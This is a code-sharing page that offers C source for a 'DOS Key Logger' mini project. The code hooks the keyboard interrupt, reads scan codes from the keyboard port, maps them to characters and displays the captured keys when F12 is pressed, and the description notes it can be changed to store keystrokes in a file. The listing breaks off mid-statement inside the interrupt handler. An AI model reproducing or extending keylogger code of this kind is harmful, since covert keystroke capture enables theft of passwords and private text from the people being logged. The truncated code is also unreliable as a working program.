Displaying Source Code(s)
|
|
DOS Key Logger (Mini Project)
--------------------------------------------------------------------------------
Description : DOS Key Logger.Traces kyes typed & Displays on
screen while KEY F12 pressed.Can be manipulated to store in
file.
Code :
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <bios.h>
#define _4KB (4096)
#define F12 (88)
#define IS_BACKSPACE(key) (key==14)
#define IS_SPACE_BAR(key) (key==57)
#define IS_ENTER(key) (key==28)
#define IS_SPL_ROW(key) (key>=2 && key<=13)
#define IS_SPL_1(key) (key==41)
#define IS_SPL_2(key) (key==43)
#define IS_Q_ROW(key) (key>=16 && key<=27)
#define IS_A_ROW(key) (key>=30 && key<=40)
#define IS_Z_ROW(key) (key>=44 && key<=53)
#define IS_NUM_ROW1(key) (key>=71 && key<=73)
#define IS_NUM_ROW2(key) (key>=75 && key<=77)
#define IS_NUM_ROW3(key) (key>=79 && key<=81)
#define IS_NUM_ROW4(key) (key>=82 && key<=83)
#define SIZE (50)
char Key_String[SIZE],
Space_Bar = ' ',
Spl_Row[] = "!@#$%^&*()_+",
Spl_1 = '~',
Spl_2 = '|',
Q_Row[] = "qwertyuiop[]",
A_Row[] = "asdfghjkl;'",
Z_Row[] = "zxcvbnm,./",
Num_Row1[] = "789",
Num_Row2[] = "456",
Num_Row3[] = "123",
Num_Row4[] = "0.",
Enter_Symbol[] = " Ù";
char *Vid_RAM=0xB8000;
int i=0, Key_Val, Last_Pos = 0;
void WriteCh2VidRAM(int vdupage, int x, int y, char ch, int
attribute
);
void WriteStr2VidRAM(int vdupage,int x,int y,char *str, int
attribute
);
void (__interrupt __far *Int9)();
void (__interrupt __far MyInt9());
void WriteCh2VidRAM( int vdupage, int x, int y, char ch, int
attribute)
{
unsigned seg,off;
*(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x) = ch;
*(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x + 1) = attribute;
}
void WriteStr2VidRAM(int vdupage,int x,int y, char *str, int
attribute
)
{
while(*str)
WriteCh2VidRAM( vdupage, x++, y, *str++, attribute );
}
void __interrupt MyInt9( void )
{
Key_Val = inp(0x60);
if ( Key_Val==F12 )
{
Key_String[i] = '
|
|
|